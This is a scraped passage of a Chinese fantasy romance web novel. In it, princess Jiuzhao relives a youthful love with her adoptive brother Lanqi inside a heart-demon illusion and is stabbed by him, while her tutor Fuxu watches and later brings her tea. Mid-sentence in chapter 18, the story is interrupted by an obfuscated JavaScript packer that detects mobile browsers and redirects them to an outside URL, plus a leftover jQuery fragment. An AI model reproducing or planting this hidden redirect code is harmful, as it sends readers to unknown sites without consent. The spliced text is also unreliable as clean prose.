潮华用密音将话传入身后几位同伴耳朵里,几人对视着,露出心照不宣的眼神。 只是不多时她的注意力却被另一样事物夺去—— 学宫之外,花叶葳蕤的前庭角落,一位少年无声立在阴影里。 月白色的长衣,以银线绣有疏落的江崖河川纹,除此之外通身再无任何装饰。 沿着衣衫往上,描摹过白肤黑发,薄唇挺鼻,最让人难忘的,便是一双秀美的瑞凤眼。 一切情绪借掩盖在从容温和之下,恰似青竹敛山,君子藏锋。 潮华被少年出众的皮相引得痴痴多看了几眼,但很快想到对方与九昭相关的另一重身份,于是不怀好意地拍着手,轻笑起来:“哎呀哎呀,看来九昭你是等不到长姐的笔记了—— “你的跟屁虫好兄长兰祁来接你了,你还不快跟他一同回去?” 18. 第18章 九昭望着兰祁。 分明晨起进学时,彼此曾同道而游。 但这一刻,她触及对方轮廓青涩的面容,心不知怎的,空荡荡的,像是缺了一块。 一些惆怅,一些酸胀,一些怨怼。 熟悉而陌生的情绪纷至沓来,陈旧到仿佛她与兰祁之间横亘着千万年的岁月。 …… 九昭来不及细究自己是怎么了,神魂又被仍在阴阳怪气的潮华拉回。 她愣愣的,连带潮华略显尖锐的女声也逐渐渺远,变得朦胧而不甚明晰。 脑海中唯余彼时年幼的她与兰祁的初见。 “昭儿,这是兰祁,从今以后,你要唤他为兄长。” “父神,兄长是什么?” “兄长就是,为父与你母神之外,真心真意爱护昭儿的第三位亲人。” …… 再大一儿,九昭才知晓,说是亲人,但兰祁和她的父神母神并不一样。 他不过是当年神帝神后携手出游时,凑巧发现的一株化形仙草,无父无母,懵懂拙稚,正因为缺少养分而倒在林间气息奄奄。神后认为相遇即是一段缘分,便将其带回紫微宫,充作养子。 与九昭神姬的封号对应,三清天众仙商定后,敬称他为神君。 尽管兰祁的人生经历放到芸生世,足够编撰成本被天下掉下的馅饼砸中的幸运儿传奇,但自从九昭记事以来,她发觉兰祁似乎早就明白了养子中的“养”为何意—— 与其说是兄长,他更像是跟在九昭身后安静的影子,尽职尽责地回报着神帝的收养恩情。 譬如现在。 潮华笑嘻嘻的话音飘荡进所有人耳中,不知为何滢罗竟也未阻止。 “不对,说跟屁虫哪对,应该是犯人和狱卒才是—— “嘻嘻,我看他走过来抓你了,你还不离开呀?忘记上次回去晚被丹曛姑姑罚抄书了?” 兰祁被神帝亲自委派每天和九昭一同上下学,是整个长烨学宫人尽皆知的事情。 长烨学宫男女分室,不在一处学习,且中间还隔了段长长的宫道。 为了办好神帝交代的差事,又吃过几次九昭一到放学不见踪影,回去丹曛姑姑问起来没法交代的苦头,兰祁便求得夫子同意,每日提早半炷香的时间下学,专程来到女学室等候九昭。 少年的步伐踏上游廊,绕过前庭几张空了的学案,朝扎堆的少女群靠近。 在嘴仗里被潮华抓住弱点絮絮个不停,九昭只觉那声音变成了无数蚊蝇,闹得人心烦意乱。 “滢罗,你快好了吗?” 她压抑着脾气,俯身查看滢罗手下的笔记进度。 平素总能事事替她周全的滢罗,今日却露出抱歉神情:“九昭,我发觉有处内容好像出现了错漏,得去找夫子再请教一下,要不你先跟兰祁神君回去,晚点我派人将东西送到常曦殿。” 九昭的两道细眉顿时拧紧。 什么嘛。 难道滢罗改了性子,偏帮起她的二妹来了? 明知道有潮华的言语在先,她这样乖乖低头跟兰祁回去很丢面子。 更何况,这次又不是偷溜出去玩,等着她的笔记用是正当道理。 九昭的目光变得生硬,一瞬不瞬盯住滢罗。 在这个过程里,兰祁已经信来到她的身边。 潮华的话,他像是没有听见,又像是一阵风吹过不必入耳,他低声说了句“我来接你回常曦殿”,然后习惯性地弯下腰去,替她收拾随手摊在长案上的书卷。 “噗嗤——” 潮华笑得更大声了。 她跟几个同伴此起彼伏地说着“兰祁神君来接你妹妹回家呀”,顺带不怀好意冲她眨眼。 其实说到底,算不了什么的。 兰祁来接她,还不是因为几十年前她下了学偷偷翻墙出去玩,误闯仙兽森林差点遇到危险。 兰祁并非要跟她对着干。 上有父神,下有丹曛姑姑,他作为兄长,少不得要担负起照顾妹妹的责任。 九昭垂落眼帘,黑漆漆的瞳孔倒映着少年收拾书卷的侧影。她不停催眠自己,却仍然控制不住被嘲笑时的羞恼表情,一点一点漫上面孔。 “你看看,九昭,你就是个还没长大的孩子,非要亲人操心。 “还不如叫我一声潮华姐姐,今后不必兰祁神君费心,我也愿意天天送你——” 砰! 一声巨响将潮华轻佻的话音打断。 九昭反手劈开面前的学案,面色彻底沉下:“今日本殿就要留在这里,等滢罗理完笔记。” 她下意识带上“本殿”的称呼,发起怒来,女君的赫赫威仪初见雏形。 这下,连滢罗也顾不上埋首忙碌了。 她急忙替潮华开口:“九昭,你别生气,都是——” 然而她的话再次被九昭打断。 望着手上动作未停的兰祁,九昭眉峰高高挑起:“兰祁,你没听见本殿的话吗?” “九昭。” 哪怕两人关系最密切之时,兰祁也从未唤过她妹妹。 他维持着最让人挑不出错的态度,将卷册尽数放入书箧中,这才抬起头来,好声好气同她解释,“今日是个特殊的日子,丹曛姑姑叮嘱过,我们下了学,一定要准时回去。” “她叮嘱了本殿就要听吗?你同她不过都是臣子而已,别忘了自己的本分!” 九昭想也不想大声反驳。 她的话如薄利尖刀剖开兄妹温情的外表,露出其中冰凉坚硬的内里。 兰祁仍是和煦到极点的神情,看她宛如在看不懂事的孩子。他背起镶金琢玉的书箧,顺手将九昭滑落肩头的鸦色长发捋到后方:“回去再说这件事好吗?我在外面等你。” 回答他的,是一计用力的脚踢。 “唔!” 兰祁猝不及防被踢中膝弯,发出声闷哼,双腿却不曾软下一寸。 他立在原地缓了一转呼吸,又慢慢走了出去。 …… 九昭在内,兰祁在外。 他不告知九昭今天是何重要日子,九昭也赌气不愿同他说话。 日头悄然西斜,即将沉坠之际,姗姗来迟的滢罗才将修改完全的笔记交给她。 “真是抱歉,耽搁了这么久,夫子拉着我说了好一会儿话,才将我放回来。” 返回二清天西神王邸的车架只有一座,潮华她们皆在等候,滢罗没办法交谈太多,又细声哄了九昭几句,这才走向学宫的另一侧出口。 偌大的空间转眼只剩九昭一人。 她揉了揉瘪下去的肚子,肠胃格外配合地发出一声响亮打鸣。 饿意消化着她的怒火,继而催动起念头的改变。 现在没了那群讨厌鬼,她不至于继续跟兰祁僵持下去,那就变成了自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918062|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讨苦吃。 况且不听他的话,在潮华面前迫使他退让的目的,自己终究是达到了。 三言两语哄好自己,九昭一身轻松地站了起来,一面佯装拍打裙摆,一面悄悄朝庭院望去。 出乎她的意料。 少年竟然不在那里。 更阑未至,学宫亮起的四角廊灯映着漫天流丽霞光。 九昭环视四周,再三寻找,确定不管哪个角落都不见兰祁的踪影。 到底是什么重要的日子,能逼得兰祁被自己打骂几句,就愤而拂袖离开。 九昭搜刮尽脑海所有的记忆,不确定地想到:似乎、大概、或许今日是兰祁的生辰? “……生辰又怎样?竟敢对本殿无礼!” 通过忿忿的自言自语,九昭企图将内心的不安和些许愧疚压下去。 她与留守的夫子打了声招呼,负手走出庭院。长烨学宫内设有不得随意动用仙术的禁制,她要穿过两旁高墙绵亘的宫道,行至最外沿的大门口,才能飞身离开。 过去哪怕没有兰祁,也有女婢一路同行。 身在地仙阶位,九昭又还没有学会瞬移之术。 她慢吞吞地走着,想到抵达离恨天还有很长一段无聊的路程,顿时有些愁眉苦脸。 九昭没有苦恼太久。 很快,在即将绕过一个转角时,她听见少年润如清泉的嗓音:“九昭。” 扭头,兰祁手中提着一盏莲花宝相灯静默望来。 “你怎么知道我会路过此处?” 震惊一瞬,九昭以为他在自己身上施了什么跟踪的仙术。 兰祁无奈:“这是离开学宫的必经之路。” 九昭:“噢。” 自然而然发生的对话,消弭了不久前横生的隔阂。 九昭本想绷紧脸再装会儿生气,兰祁却快步上来拉住她的手:“我知道你怕黑,一个人回去路上也寂寞——肚子饿不饿?我的储物戒里有丹曛姑姑做的点心,是你最喜欢的春桃千层酥。” 俊美的少年,温暖的掌心,一下子驱赶掉萦绕在九昭周身的冷清。 她傻傻被兰祁牵住,两人一前一后的位置瞬间掉了个头。 “我不吃,没到家就迫不及待开始吃零嘴,被别人看到,我哪还有神姬的样子。” 兰祁笑了起来:“好好,不吃,我们九昭殿下从来都是最威风凛凛的神姬。” “这还用你说。” 九昭轻轻噘了噘嘴,“你不在院子里,跑到这么远等我做什么?” 兰祁没有回头:“我怕那些西海仙子还会继续揶揄你,就想着站到她们看不见的地方去……九昭,你若是心中介意,以后我都在远一些的角落等你回家好不好?” 自身难以立刻做出回答的问题,九昭通常会说不好。 可惜再臭石头似的脾气,遇到万分柔情的湖泊,也只能落得个扑通沉进去的结果。 九昭不吭声,亦步亦趋跟在少年身后,没有着落的视线一会儿看天,一会儿看人。 最后无意识地落在兰祁那条被自己踢过的腿上。 被长袍遮掩,她也不晓得兰祁痛不痛,有没有受伤。 只是父神说过,每个人在过生辰的那一天都要开心,否则将会影响到来年的气运。 被温言软语包裹着,九昭的大脑晕乎起来,脱口而出道,“你还没告诉我,今天是什么特殊日子?” 19、第19章 “……其实,也没多特殊,是我之前想岔了。 “只要你好好同我回去就行,我自会跟丹曛姑姑解释清楚。” 九昭察觉到,这两句话的中间,兰祁微妙地多停顿了几息。 他越是善解人意,九昭的良心就越发不安。 索性反客为主,探入指缝同兰祁十指相扣,迫使他停下脚步。 “今天不是你的生辰吗?这有什么好遮遮掩掩的,还不愿意告诉我……” 九昭惯常使用的反问句起了个头,后面渐次变轻,透出几分不好意思的温柔。 被她猜中秘密的少年亦转过身来,那天边的晚霞仿佛将淡的红的颜色染在了他的面孔。 “我、我不是为了表达自己的生辰有多特殊……只是想你陪我吃一碗长寿面。” 课堂上、人群里、神帝前,从来不失分寸、气度沉静的少年,说出自己埋藏已久的儿女心事时,也会遭遇舌头打结。 兰祁咽了口干涩唾液,在九昭灼灼的视线里,不好意思地低下头去,“……丹曛姑姑说,分尝过长寿面,我来年的好运也会共同分享给你。” 好运吗……? 她自降生就是三清天神帝的独女,这世间应该不会有人比她更加好运。 听到这句话,九昭有些迷茫,数道念头在脑海打转过去。 在日轮光辉微茫的暮色里,她陡然感觉到兰祁掌心传来的暖意。 宫道两旁,高墙巍巍,空气中传来更远处的草植花卉香气。 云端有不知名的灵鸟穿梭,婉转的啼鸣,倏地一下钻进她心底。 九昭的心脏也跟着鸟鸣一下一下,失去了规律的跳动节奏,见兰祁低头没看自己,她咬住下唇,愧疚、动容、慌张、羞涩……共同交织成一种陌生的悸动。 她不知这种悸动叫什么。 只是突然想为兰祁做一些事。 “……怪你,也不早点和我说你生辰将近,害得我来不及准备礼物。” 良久,九昭略显不满地嘟囔了一句。 兰祁下意识抬起眼睛又要道歉,人却被她拽着调转方向,朝高墙之间不知名的窄路跑去。 “诶,九昭——” “罢了,你先跟我来,收到以后可不许嫌弃!” 没有属于神姬神君的仪仗跟从,没有敛眉屏息的仙婢簇拥,两人放开脚步,如投向森林的鹿群般飞奔在长烨学宫的青岩砖上,九昭臂间挽着的轻纱披帛亦散落在夜风里。 七拐八绕,跑到彼此鼻息渐沉,九昭呼呼喘着气,终于放开舍得放开交握的双手。 在他们面前,是一棵拏云攫石,树冠如云的古木。 它被一圈半人高木质的雕栏围了起来,枝梢和枝梢之间挂着无数火红的祈福丝带。 “你应该知道长烨学宫的名字由来吧?” 九昭扶着膝盖,休息片刻,仰脸欣赏丝带散发出来的辉光构建而成的盛景。 兰祁似有所感,轻声回应:“长为长棠,烨为明烨,两位上神结成恩爱伴侣,在二清天开办学府,无论何等身份资质,皆可入学共聆,数万年间遍地桃李。后其于仙魔交战中不幸陨落,神帝为表纪念,将二清天正式开创的学宫题字为‘长烨’——意作‘仁心恒长,启烨世人’。” 兰祁有过目不忘之才,更何况只是背诵一段三清天人人皆知的往事。在长烨学宫进学万余年,他同样清楚眼前这棵祈福树无比灵验,总有学子会在大小节日和考试前挂丝带祈愿。 所以九昭送给他的礼物,就是带着他一同祈福吗? 心中如此作想,少年神色一变就要流露出动容,然而一个眨眼,他却看见九昭手脚并用地爬了上去,身影消匿在葱茏树叶之间。随着她的行动,树干一阵摇晃,不知在做什么。 “……” 兰祁忍不住感到头疼。 他扶着额角,迅速环顾四周,确定九昭的所作所为无人发现,才压低嗓音无奈劝阻:“九昭,你快下来,若被人看到你如此对待祈福树,恐怕明天帝座那里又会收到无数匿名告状信。” “别急,你替我望风。” 九昭理所当然地将他拉入从犯阵营。 她身量纤细,尚未完全长开,穿梭在枝桠间,忙忙碌碌一阵,终是抚掌朗笑:“找到了!” 说着,她探臂摸向树冠顶端,将两条不起眼红丝带解了下来,又顺手折断一双嫩枝。 “兰祁,我要下来了,你接好我!” 嘻嘻笑着,九昭猛地从十几丈高的树顶跳下。 兰祁的动作比大脑更快,一个箭步冲上去就要充当肉垫。 九昭下坠的身躯撞进他怀里,两人不约而同哎呦一声,抱着在砖地上滚了几圈才停息。 “你没事吧?” 顾不得拂去长衣上的落叶灰尘,兰祁拉着趴在他臂弯的九昭看着不停。 “没事,我有着天底下最坚硬的凤凰骨,这点痛算得了什么?” 九昭抹了把面孔,满不在乎。 她拉着兰祁一同靠坐在栅栏边,献宝似地摊开掌心,“看,这是我要送你的礼物!” 轻飘的丝带,柔嫩的树枝。 兰祁想不出来这两者的作用,以及能与礼物产生什么联系。 九昭卖了个关子,将东西放在自己的膝盖上,然后拿起一条丝带和一根树枝快速编绕起来。 三下五除二,红绿相间的手环在她掌下诞生。 九昭抓住兰祁的手腕,小心翼翼把手环穿过去,正合他的尺寸。 她又依样画葫芦,编了根尺寸更小一些的,半是撒娇半是命令兰祁为自己戴上。 两根手环在各自腕上安家的刹那,一阵游灵似的白光乍现,丝带与枝条越缠越紧,与肌肤的空隙也越变越小,最后兰祁试了试,它变成了不可摘下的状态。 “这棵树的真名,叫做相思树,是学宫里年纪最大的夫子告诉我的。 “相思树生连理枝,当年两位上神将它合种,期盼彼此相思相伴,白头共度。 “在相思树长成后,他们也由此挂上了第一根祈福丝带。只是许下的愿望在心中,并不在笔间,最初的丝带上面什么都没有,不像现在写满了愿望的那些,附有一层不可窥探的禁制。” 九昭边讲边拨弄手环,弯起的眼眸比悄然布满苍穹的星辰更加灿烂。 待到听完故事,兰祁也对手腕上的丝带来历有了眉目。 “这是长棠明烨两位上神当年所挂的那两条?” 他将左手抬起,盈盈华光衬得腕骨清瘦,指节如玉,不见半分瑕疵。 九昭轻轻点头。 她把同样佩戴手环的右手凑了过去,与兰祁的手环挨在一起。 “兰祁哥哥,这是我送你的两万六千岁生辰礼物。 “连理成环,生生相伴。” …… 爱就是爱,恨就是恨。 贵为神姬的少女活了两万余岁,感情却从来热烈直白。 她的双眸晶晶亮,面孔红扑扑,嘴唇比常曦殿花园里怒放的玫瑰还要婀娜。 含有鲜明情愫的言语出口,兰祁眼中最平静的湖泊也不可避免开始汹涌。 突破生平的自持,他忽然不由分说将九昭直接揽进怀中。 少年的怀抱那样炽热,自背后交叠的手臂仿佛要将九昭生生溶入骨血。 九昭忍着肩胛骨传来的痛楚,回应着兰祁的热情,口中欢喜地催促着:“祈福树下,许愿是最灵验的……许个愿望吧,兰祁哥哥,我想知道你想要什么。” “……昭昭,我想要的,只有你才能给我。” 不知何时,少年的嗓音转变成属于青年的磁性低沉。 兰祁微凉的唇缘凑近九昭滚烫的耳廓,冰火相触,爱欲痴迷,激发最原始的冲动。 九昭颤抖一瞬,檀口无意识张合:“……你想要什么?” 回答她的,并非兰祁的话音。 少年的手指隔着布料,缓慢摩挲她的后心,一下、一下又一下。 于是痒意如蚁群一路钻进心里。 九昭的腰肢彻底软下。 此时此刻的她,是藤蔓缠绕在树干上,经由雨露恩泽开出的花。 难以用言语表达,她干脆用化为春水的嗓音,反反复复唤着兰祁。 “兰祁、兰祁、兰祁……” 未知几声之后,利刃刺破衣衫,捅入肌肤的噗呲声在耳畔响起。 后心口陡然迸发出尖锐的疼痛。 兰祁掐着九昭的后颈,迫使她弓起的身躯远离自己。 另手慢条斯理,把指腹沾染的鲜血抹上如九昭红芙绽放的明艳衣裙。 心脏被捅穿,血液大口大口自喉间涌出。 剧痛里,九昭试图询问为什么,喉管却被热液堵塞,只能发出透不过气的窒喘声。 兰祁垂眸俯视她,淡淡微笑起来,眉目清雅不可方物。 “你辱我多年,我当然想要你死。” …… 所有景象倒置,绿树、鲜血、月白长衣迅速褪色成为黑白。 “嗬嗬——” 九昭捂着心脏大口大口喘气,她维持不住打坐的姿势,蜷缩在蒲团上,身子发颤,冷汗淋漓——血肉被贯穿的疼痛叫人心有余悸。 缓了不知多久,九昭才重新睁开双眼,苍白的面色让她如同一具僵死女尸。 长案上,花盆里,吸收心魔之力开至繁茂的摄念花被赤光点燃,正在化为灰烬。 九昭眯着湿漉眼尾,吃力思考片刻,才认出那赤光是她受到生命危险时自体内释放的凤火。 “恭喜你,一炷香的时辰不到,就脱离了心魔幻境。” 扶胥的目光从焦黑一团的土壤上方抽离,他口中说着恭喜,神情却并未呈现欢喜。 九昭顺着他视线转动的方向,看到了半空中结成的一张网。 半透明的黏丝漂浮在空气中,无需借助任何支撑物,米粒大的紫色小蛛在网上辛苦劳碌。 只是,说网也并非单是网。 除了最外沿的蛛丝,余下联结的脉络尽数消失,蛛网化作一方播放景象的媒介。 而其上正在进行的画面,赫然是她在幻境里和兰祁发生的事情。 争执吵闹、等候和好、攀折赠礼……再至意外死亡。 扶胥不开口,九昭只能僵着身子,陪他从头到尾看了一遍。 场面最后定格在兰祁轻描淡写说着“想要你死”的面孔上。 深深呼出一口气,九昭难以评判究竟是被兰祁悔婚抛弃,自己还要在幻境里继续自作多情丢脸,还是陪着现夫,旁观自己和“前夫”情窦初开表白早恋更加丢脸。 她紧绷肢体不动,恨不得找个地缝钻进去。 半晌,扶胥毫无波动地开口:“不过,被幻境中的心魔杀死从而脱身,不能算作成功。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 20、第20章 神仙这种东西。 虽然看起来清心寡欲、仙风道骨。 但许多境况下也容易产生杂念——特别是在参加完战争之后。 杂念通常以梦境的形式产生,出现次数多了,便会凝聚成为心魔。 心魔常伴于身,轻则修为无法精进,重则元神被夺舍,犯下无可挽回之举。 为了降低这种风险,三清天特地培养了一种灵兽,名叫织梦蛛。 它们不归入仙,也不归入魔,以人在梦境中散发出来的强烈心绪为食。 吃饱喝足,织梦蛛便会结网,待到网成,被食用心绪之人梦里的经历就会在网上数次重现。 这有助于清醒状态的神仙保存观摩,好用来参悟困顿自身的缘由因果。 总之,或许是九昭的心绪起伏太剧烈,那群小小的蜘蛛吃得太饱——结完一张网,它们没有趴在网上蛰伏休息,反而在网的边缘爬来爬去,似乎在寻找吐丝结第二张网的落脚点。 回想自己再同扶胥观看一遍表白失败被杀的场面,九昭顿时脚趾抠地。 铺天盖地的尴尬感逐渐压倒幻境中死亡的痛苦,让她精神振作起来。 九昭开始倒打一耙。 “你既然一直都在看着,为何不趁幻象动手之前赶紧把花搬走?” 面对九昭的咄咄逼人,扶胥眼风不动:“考核之难就是要在逼真的幻境中找到弱点,幻境美好,常常引人沉溺,唯有记住疼痛苦楚,才能在不断加重的诱惑里坚守意志,保持清醒。” “可是很痛!你是不知道在心魔幻境受伤死亡,本殿的神魂也会受到冲撞吗?” 九昭折袖擦去额头冷汗,质问扶胥的语气透着几分有气无力。 扶胥垂眼看回被烧死的摄念花,那原本葱茏馥郁的植物已然和黑褐色的土壤融为一体:“只是区区一盆的数量,殿下纵使在幻境中身死,回寝殿休息一晚便能恢复如初。” 扶胥统管仙君时,法纪严恪,手段出了名的无情。 要成为他的学生,九昭做好了吃苦受累的心理准备。 听他这么说,她只能撇嘴自认倒霉。可偏偏该结束话题的时刻,他又突然补充一句:“更何况,假设人人身处幻境而不用遭受各种危险,那么人人皆可以利用幻境来逃避现实了。” 心口疼痛未消,九昭反应缓慢。 大脑空白几息,才后知后觉想到,对方口中的“逃避现实”指的是,自己借助心魔幻境,沉沦在同兰祁重温旧梦的虚假感情里,从而忘却早在四千五百年前已被退婚羞辱的实情。 神经病! 九昭脑中一万句脏话奔腾而过。 那是心魔幻境构建的假象,跟她真实的想法有什么关系? 话说回来,就算她真对兰祁旧情难忘,又哪里轮得到扶胥来嘲讽—— 横竖治好伤势就会合离! 九昭才不受这等没来由的闲气,故意用做作嗓音恶心扶胥:“扶胥上神不是从来不妄自议论未发生过的事吗,刚才那句话的意思是?本殿理解能力粗浅,怎的听出了几分醋意?” 吃醋是不可能吃醋的。 但违背本心一定是违背本心。 她渴望从扶胥脸上瞧出被刺到的窘迫,但左看右看,专注视线快要把对方盯出一个洞,扶胥也仅是说:“殿下怎样认为都好,摄念花的数量太少,不足以长时间维持幻境,香气即将耗尽,它才会在突兀处催动心魔幻象将殿下杀死,日后数量增多,殿下更需抵抗住幻象的甜言惑语。” 甜言惑语。 这个词把好容易从尴尬中挣脱的九昭,再次带回她和兰祁倾诉衷肠,扶胥淡定旁观的场景。 恼羞成怒的她炸开一身凤凰毛:“既然一定要我被幻象杀死,那你有什么好看的?偷看别人的隐私你也不害臊吗!下次织梦蛛吃饱了不要让它结网,本殿会自己带回去找弱点!” 九昭张牙舞爪一顿抗议,原本苍白如死的面孔终于多出几分血色。 扶胥定定看她片刻,确定她已恢复过来,才敛衽自长案后站起:“凡事皆有例外,后续随着摄念花的数量变多,香气加重,再在幻境里受伤或是被杀死就有性命之忧了——臣有责任在旁观看,评估殿下遇到的危机严重程度,再决定是否要出手保护殿下的安全。 “另外也请殿下放心,无论幻境中的景象多么逼真,臣知晓都是假的,不会放在心上。” “……” 被“必须要旁观”和“臣不会放心上”双重言语刺激,九昭踉跄着后退几步才站稳。 她指着扶胥的鼻尖说不出话,最后干脆一脚将花盆踢倒,提起裙摆气鼓鼓走人。 …… 夕阳沿着敞开的殿门悄悄溜进室内,为扶胥被泥土染脏的衣摆镀上一层虚幻金边。 只剩下他一人。 而半空中忙忙碌碌的织梦蛛们,总算找到了合适的织网点,挥舞着小脚再度吐出黏腻长丝。 扶胥的目光落在九昭被兰祁用匕首贯穿后心的画面上,笼罩眉眼的云淡风轻一点一点如日消沉,到织梦蛛吐丝造出最外侧的图样时,已然变得面无表情的他抬步走了过去。 手指用力,一把将残网撕下。 五指聚拢揉进掌心,力道之大,蛛网转眼化作一滩晶亮粘液。 被吓得逃回第一张网上的小蜘蛛们瑟瑟发抖,生怕寒意满身的他要将最后的栖息地毁去。 扶胥看了很久。 复杂的情绪在他眸中不断明灭,最终转变为低低的叹息出口。 他伸手,抹去蛛网中央凝滞的画面,小心翼翼地把它存入储物戒中。 …… 课程结束在金乌西坠的傍晚,九昭却没心情用晚膳。 她闷头猛走,无视一路上各位女婢仙官的问安,直直冲回殿内。 将殿门关上,置身于熟悉安心的环境,她才感觉到稍稍好受了些。 蹬掉鞋履,在寝床上翻滚几个来回,依旧抵挡不住如海的心潮。她从被子里探出只手,伸到褥子的下方摸索一阵,光洁无痕的墙面忽然咔嚓一声,自内弹出个雕花小抽屉。 九昭坐直身体,手指扒住抽屉边缘,想要取出藏匿其中的事物,面上又聚起几分纠结。 被兰祁拥抱的体温似乎还蕴在衣衫之上,诱人忘却冰冷的现实,几欲回到温柔的梦境。 不能再回忆下去。 九昭摇了摇头,紧扣牙关,指甲狠狠掐住掌心。 随之而来的锐痛,终于促使摇摆的意志回归坚定。 她果断将抽屉里的东西取出,是一条断成两截的手环,和一张折叠了好几层的画纸。 所谓心魔幻境,正是糅合记忆深处的往事,造就一分假九分真,才能击溃人的心理防线。 幻境里她送给兰祁的手环,发生的过往,情不自禁的拥抱,皆是确有其事。 只是那根手环在他们恩断义绝时,被悲怒到极点的九昭用力扯断了。 闹剧结束,仙息大乱的她一路摇摇晃晃飞回常曦殿,愤而将其扔进了花园的莲花池里。 又在几日后,夜深人静的更阑,跳入其中试图找回。 不为承载于手环中的过往,只为她一颗懵懂错付的真心。 在冰凉湖水中浸泡一个多时辰,九昭才将两半手环找到捞起。 这件事的后果,自小不曾生过病的九昭连发几天高热,把神帝和服侍的女婢们都吓了一跳。 往事在眼前浮沉。 九昭握紧再也不可能复原的手环,另手将折叠的画纸打开。 上面是她的小像,兰祁画就时别怀目的,用的自然也是最普通粗陋的白纸。 过去一万年,纸张边缘泛黄变脆,还分布着几处墨意晕染的水迹。 九昭将它翻回来,一个笔锋遒劲、力能透纸的“忍”字刺痛她的眼球。 “你说会永远陪着我,果然都是假的。 “心魔幻境里最后的结局,才是那时的你心中所想,对不对……” 九昭喃喃自语。 用来捍卫尊严的、不共戴天的恨意随着年月推移退出身体,几万年的体贴相伴,对于自身种种恶劣行径的隐忍,以及透入骨髓的、无法更改的习惯,让她对待兰祁的感情变得百感交集。 午夜梦回,她也难以分清,那些激烈到足以点燃灵魂的情绪—— 究竟是叫做恨,还是无法得到同等回应,而逐渐溃散扭曲的爱。 九昭的心情正低落,关紧的殿门却被人敲响。 “谁?” 她反手将两样东西塞回抽屉。 机关转动,一切回归原样,连面上的情绪也好似未曾发生。 叩叩。 来人并不回答,只按照某种频率,再次敲动两下。 莫非是担负起叫饭职责的朱映害怕说明来意,会被直接拒绝,干脆不出声等自己来猜? 九昭没心情参与这种拙劣的游戏,便拔高声调:“不必敲门了,本殿不想用晚膳!” 在说这句话时,她甚至施加了一抹仙力,好确保门外人察觉到自己的心情不虞。 可敲门声未曾止息。 叩叩。 叩叩。 叩叩。 大有九昭不出来,它就不会停止的趋势。 忍无可忍,九昭翻身下床,赤脚奔向殿门,一把将其拉开:“本殿不是说了——” “殿下。” 外头的天色彻底黑了。 檐廊下悬挂的琉璃宫灯将扶胥的眉眼映亮,他玄色的瞳孔比夜还深沉。 “你来这里干什么?” 九昭的气焰一收,狐疑打量他几下,又不确定地问,“莫不是晚上还有课程……?” 强撑气势的神姬殿下,却不知悄悄泛红的眼尾,出卖了内心的真实情绪。 扶胥望着那两抹红意,猜到她躲在殿内为兰祁伤心过一回,薄唇忍不住抿得更紧。 无言片刻,他将背手藏在身后的食盒拿了出来,揭开黑檀顶盖,让九昭看到其中放着的茶盏:“臣观殿下虽脱离心魔幻境,但心中执念未消,这是清神茶,有助于殿下身心重归安宁。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 21、第21章 九昭本来就很烦。 看到清神茶,更是烦上加烦。 只因为其中牵扯着一段往事。 年少时的她比现在还要调皮捣蛋,可神姬的身份摆在那,哪怕是神帝派去教引她的女官丹曛也不好随意斥责惩罚。经年累月的头痛里,丹曛想了个办法,就是罚九昭喝清神茶。 清神茶性凉,有定心稳性之效,对于身怀凤凰真血,五感常年火热的九昭大有裨益。 然而清神茶无比苦涩,喝一口就能让九昭三天三夜没有食欲。 这等折磨比实质性的斥责更具效果。 九昭苦不堪言。 喝了一次又一次,她逐渐把坏主意打到兰祁身上。 后来每每被丹曛姑姑惩戒,她便撒娇耍痴、威逼利诱,强迫兰祁替自己喝。 …… 有了心魔幻境的开头,九昭这才发现生活处处都有兰祁的影子。 这点认知,叫九昭越发唾弃自己的不争气。 她只想回去寝殿躺下,睡着了总能将有关兰祁的记忆悉数抽离。 “这茶苦得要命,本殿才不要喝。” 一把推开递到眼前的食盒,九昭语调悻悻,“而且你哪只眼睛看到本殿心情不平静了?” “两只眼睛都看到了。” 扶胥抬手,指腹蹭过她的眼尾,询问,“可要臣帮殿下寻面镜子?” 青年突如其来的亲昵动作叫九昭表情放空。 很快,她的脸皮又为着言语里的直白暗示发起热来。 噔噔噔! 顾不上关门,她跑到寝殿的梳妆镜前,端详起自己的状态。 镜中人眼睑微红,明眸黯淡,满头满脸都写着心事重重。 九昭十分尴尬。 这下,脸皮不止是热,连带眼眶的红意都蔓延到了颧骨两颊。 她思索着直接把扶胥关在门外,明天起床当做无事发生的可能性。 最后又噔噔噔跑了回去,决定死鸭子嘴硬:“那是因为回来的路上经过花园,花粉不小心飘进了本殿的眼睛才会这样,你别没有证据在那里胡说八道!” 如此语调急躁,语速飞快,怎么都不像是已经平心静气的样子。 扶胥淡定提了提食盒:“喝了吧。” “本殿说不喝就不喝!” “茶里面兑了殿下喜欢的牛乳和百花蜜,臣已经事先尝过了,不苦。” “本——” 话刚吐出一个字,转瞬吞没在喉咙里。 九昭略感讶异,扶胥竟然会知道自己喜欢的东西。 “殿下要试试吗?” 青年又放低话音,使用同她商量的请求语式。 九昭的性格,从来吃软不吃硬。 如果别人强硬到底,她会叫他知晓什么叫做神姬威严不可冒犯。 可若对方放低姿态,特别是一向冷情的突然更改态度,她又会陡然多出几分无所适从。 她转了转眼珠,看着扶胥睫羽半敛,以表退让的神色,手指勾着衣带忸怩片刻,才轻哼一声,把食盒接了过来:“本殿爱喝牛乳百花蜜的事,是朱映告诉你的?” 这个时候,扶胥又不说话了。 任务完成,他变回三棍子打不出一个屁的模样。 九昭有种被欺骗的感觉,忍不住低声:“……真不可爱,长着嘴只会说教和气人。” 她看似自言自语的嘀咕正好传入扶胥耳内,他并不对这句评价提出异议,行礼就要离开。 “不许走。” 九昭显然没那么好糊弄。 她出声将他拦下,三步并作两步转到他面前来,“你得等本殿喝完茶,再将食盒拿出去——这清神茶香气重得很,本殿不喜欢留气味重的食物在寝殿过夜。” “这点小事,殿下吩咐女婢即可。” 